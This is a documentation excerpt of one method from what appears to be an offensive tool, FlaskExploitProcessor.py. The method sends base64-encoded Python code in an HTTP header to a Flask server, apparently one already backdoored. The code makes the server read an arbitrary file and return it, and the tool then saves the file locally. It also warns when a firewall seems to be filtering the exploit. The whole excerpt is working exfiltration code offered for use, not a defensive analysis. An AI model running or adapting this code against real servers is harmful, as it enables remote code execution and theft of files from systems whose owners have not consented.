Method _Base__download

src/FlaskExploitProcessor.py:175–215

(self, options: str)

    @brief See base class for details.
    """
    def _Base__download(self, options: str):
        if len(options) == 0:
            raise CommandException("Specify a file to download.")
        
        url = f"{self.host}{self.path}"
        if not self.host.startswith("http"):
            url = "http://" + url
        try:
            message = (
                f"global r;\n"
                f"try:"
                    f"\t__import__('os').chdir('{self.directory}');"
                    f"r={self.flask_object}.make_response("
                    f"{self.flask_object},open('{options}', 'r').read());"
                    f"r.headers['{self.header}']='Done.';\n"
                f"except Exception as e:\n"
                    f"\tr.headers['{self.header}']=__import__('base64')."
                    f"b64encode(str(e).encode());")
            print("Downloading file...")
            response = requests.request(
                self.method,
                url,
                headers={ f"{self.header}":
                            base64.b64encode(message.encode()).decode() }
            )
            data = response.content
            if not response.ok:
                raise Exception()
            if not self.header in response.headers:
                raise CommandException(
                    f"No message sent back from server, your exploit is "
                    f"probably being filtered by a firewall.")
            if response.headers[self.header] == 'Done.':
                path = Path('downloads/' + Path(options).name)
                path.parent.mkdir(parents=True, exist_ok=True)
                with open(path, "wb") as bin_file:
                    bin_file.write(data)

            print(response.headers[self.header])
        except:
            raise CommandException(f"Message was not successfully processed.")

    """
    @brief See base class for details.